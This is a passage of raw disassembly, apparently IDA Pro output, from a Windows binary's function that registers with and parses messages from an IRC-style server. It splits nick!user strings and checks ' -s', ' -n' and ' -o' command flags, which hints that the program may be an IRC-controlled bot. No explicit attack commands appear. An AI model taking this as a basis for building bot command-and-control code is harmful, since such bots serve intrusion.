call near ptr 71AB951Eh
nop
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call sub_5EDAB2
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015D7
lea ecx, [esp+3Ch+arg_408]
push ecx
nop
call near ptr 71AB2BF4h
push offset byte_446F70
mov ecx, offset byte_44739B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410287
mov ecx, offset byte_44739B
call sub_4017E4
mov edx, dword_44711C
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
loc_410287: ; CODE XREF: sub_40FF60+305j
mov ecx, offset byte_4E6E85
call sub_4017E4
push eax
mov ecx, offset byte_4E6E85
call sub_4017E4
push eax
mov eax, dword_447124
push eax
mov ecx, offset byte_4E6E85
call sub_4017E4
mov ecx, dword_447120
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E0B
add esp, 1Ch
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4102C8: ; CODE XREF: sub_40FF60+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_411320
nop
call near ptr 27F08B4h
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CBC
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A87
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447128
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_4103A0
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4473E4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4103A4
loc_4103A0: ; CODE XREF: sub_40FF60+3EAj
mov [esp+20h+var_D], bl
loc_4103A4: ; CODE XREF: sub_40FF60+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4103C6
mov byte ptr [ebp+16h], 1
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4103C6: ; CODE XREF: sub_40FF60+45Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_4470FC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
push 1
jz short loc_410464
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017E4
push eax
mov eax, dword_447118
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410592
; ---------------------------------------------------------------------------
loc_410464: ; CODE XREF: sub_40FF60+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, dword_447100
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz loc_4105D0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447118
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410597
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017E4
push eax
mov eax, dword_447118
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410592: ; CODE XREF: sub_40FF60+4FFj
call sub_401226
loc_410597: ; CODE XREF: sub_40FF60+5E6j
cmp [ebp+16h], bl
jnz loc_411327
mov ecx, offset byte_44742D
call sub_4017E4
push eax
mov ecx, offset dword_4473E4
call sub_4017E4
mov ecx, dword_447104
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4105D0: ; CODE XREF: sub_40FF60+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447138
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410652
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44713C
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410657
loc_410652: ; CODE XREF: sub_40FF60+69Bj
mov [esp+20h+var_D], 1
loc_410657: ; CODE XREF: sub_40FF60+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4106C4
cmp [ebp+16h], bl
jnz short loc_4106A0
mov ecx, offset byte_44742D
call sub_4017E4
push eax
mov ecx, offset dword_4473E4
call sub_4017E4
mov edx, dword_447104
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
loc_4106A0: ; CODE XREF: sub_40FF60+713j
mov ecx, offset byte_4E6E85
call sub_4017E4
push eax
mov eax, dword_44710C
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4106C4: ; CODE XREF: sub_40FF60+70Ej
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447114
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz short loc_410775
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_41075D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015D7
loc_41075D: ; CODE XREF: sub_40FF60+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410775: ; CODE XREF: sub_40FF60+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447110
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_4107B0
mov al, byte_447844
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4107B4
loc_4107B0: ; CODE XREF: sub_40FF60+840j
mov [esp+20h+var_D], bl
loc_4107B4: ; CODE XREF: sub_40FF60+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410AC1
push offset asc_443C94 ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_410812
mov ecx, eax
call sub_402054
loc_410812: ; CODE XREF: sub_40FF60+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41083E
mov ecx, eax
call sub_4010BE
loc_41083E: ; CODE XREF: sub_40FF60+8D5j
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401A9B
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_410AAC
loc_41089F: ; CODE XREF: sub_40FF60+B46j
push 96h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_4108C7
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_4108C9
; ---------------------------------------------------------------------------
loc_4108C7: ; CODE XREF: sub_40FF60+95Aj
xor esi, esi
loc_4108C9: ; CODE XREF: sub_40FF60+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4108FB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4108FF
; ---------------------------------------------------------------------------
loc_4108FB: ; CODE XREF: sub_40FF60+98Cj
mov [esp+20h+var_C], ebx
loc_4108FF: ; CODE XREF: sub_40FF60+999j
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013E3
test eax, eax
jz short loc_410922
mov byte ptr [esi+93h], 1
jmp short loc_410928
; ---------------------------------------------------------------------------
loc_410922: ; CODE XREF: sub_40FF60+9B7j
mov [esi+93h], bl
loc_410928: ; CODE XREF: sub_40FF60+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410943
mov byte ptr [esi+94h], 1
jmp short loc_410949
; ---------------------------------------------------------------------------
loc_410943: ; CODE XREF: sub_40FF60+9D8j
mov [esi+94h], bl
loc_410949: ; CODE XREF: sub_40FF60+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410964
mov byte ptr [esi+95h], 1
jmp short loc_41096A
; ---------------------------------------------------------------------------
loc_410964: ; CODE XREF: sub_40FF60+9F9j
mov [esi+95h], bl
loc_41096A: ; CODE XREF: sub_40FF60+A02j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FBE
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_446F70
lea ecx, [esi+54h]
call sub_4015D7
push offset byte_446F70
lea ecx, [esi+3Fh]
call sub_4015D7
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FBE
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017E4
push eax
mov ecx, esi
call sub_4015D7
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DE3
cmp esi, ebx
jz short loc_410A59
push 1
mov ecx, esi
call sub_4019D3
loc_410A59: ; CODE XREF: sub_40FF60+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013D4
inc edi
push offset asc_4435EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41089F
loc_410AAC: ; CODE XREF: sub_40FF60+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410AC1: ; CODE XREF: sub_40FF60+86Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447108
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410DDB
push 96h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410B3B
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_410B3D
; ---------------------------------------------------------------------------
loc_410B3B: ; CODE XREF: sub_40FF60+BCEj
xor esi, esi
loc_410B3D: ; CODE XREF: sub_40FF60+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410B6C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410B6E
; ---------------------------------------------------------------------------
loc_410B6C: ; CODE XREF: sub_40FF60+BFFj
xor edi, edi
loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013E3
test eax, eax
jz short loc_410B90
mov byte ptr [esi+95h], 1
jmp short loc_410B96
; ---------------------------------------------------------------------------
loc_410B90: ; CODE XREF: sub_40FF60+C25j
mov [esi+95h], bl
loc_410B96: ; CODE XREF: sub_40FF60+C2Ej
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BB1
mov byte ptr [esi+93h], 1
jmp short loc_410BB7
; ---------------------------------------------------------------------------
loc_410BB1: ; CODE XREF: sub_40FF60+C46j
mov [esi+93h], bl
loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BD2
mov byte ptr [esi+94h], 1
jmp short loc_410BD8
; ---------------------------------------------------------------------------
loc_410BD2: ; CODE XREF: sub_40FF60+C67j
mov [esi+94h], bl
loc_410BD8: ; CODE XREF: sub_40FF60+C70j
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016AE
push offset asc_443C88 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FBE
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C88 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016AE
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FBE
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset dword_4437F8
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016AE
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FBE
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FBE
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C84 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_410DAD
add eax, 2
push eax
jmp short loc_410DB2
; ---------------------------------------------------------------------------
loc_410DAD: ; CODE XREF: sub_40FF60+E45j
push offset byte_446F70
loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj
mov ecx, esi
call sub_4015D7
push ebx
push esi
mov ecx, edi
call sub_401DE3
cmp esi, ebx
jz short loc_410DCF
push 1
mov ecx, esi
call sub_4019D3
loc_410DCF: ; CODE XREF: sub_40FF60+E64j
mov ecx, edi
call sub_4013D4
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_40FF60+BADj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44712C
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410FB0
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push edx
call sub_4016AE
mov ecx, offset word_448C9E
call sub_401CD0
cmp eax, ebx
jz short loc_410EA2
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push eax
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_443600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016AE
mov ecx, offset word_448C9E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40210D
loc_410EA2: ; CODE XREF: sub_40FF60+EF3j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_4E6E85
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C94 ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C88 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401861
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_44742D
mov [ebp+16h], bl
call sub_4017E4
push eax
mov ecx, offset dword_4473E4
call sub_4017E4
mov edx, dword_447104
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410FB0: ; CODE XREF: sub_40FF60+EC7j
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447120
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411168
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C88 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_34]
call sub_401861
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_443C84 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
mov esi, dword_50FAF8
push eax
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jz loc_411153
push offset asc_443C84 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
call esi ; dword_50FAF8
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401861
push offset byte_446F70
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41113F
push offset byte_446F70
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41113F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
cmp eax, ebx
jz short loc_41111B
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FBE
loc_41111B: ; CODE XREF: sub_40FF60+11A9j
push offset byte_4E6E85
lea ecx, [esp+24h+arg_34]
call sub_401B72
test eax, eax
jnz short loc_41113F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E6E85
push edx
call sub_401FBE
loc_41113F: ; CODE XREF: sub_40FF60+1173j
; sub_40FF60+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411153: ; CODE XREF: sub_40FF60+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_411168: ; CODE XREF: sub_40FF60+109Cj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447130
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4111EF
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447140
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4111F4
loc_4111EF: ; CODE XREF: sub_40FF60+1238j
mov [esp+20h+var_D], 1
loc_4111F4: ; CODE XREF: sub_40FF60+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C88 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C9E
call sub_401CD0
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C88 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push offset asc_443C88 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C9E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40210D
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_411327
; ---------------------------------------------------------------------------
loc_411320: ; CODE XREF: sub_40FF60+391j
mov ecx, ebp
call sub_401D0C
loc_411327: ; CODE XREF: sub_40FF60+1D3j
; sub_40FF60+253j ...
cmp [ebp+17h], bl
jnz loc_40FFA2
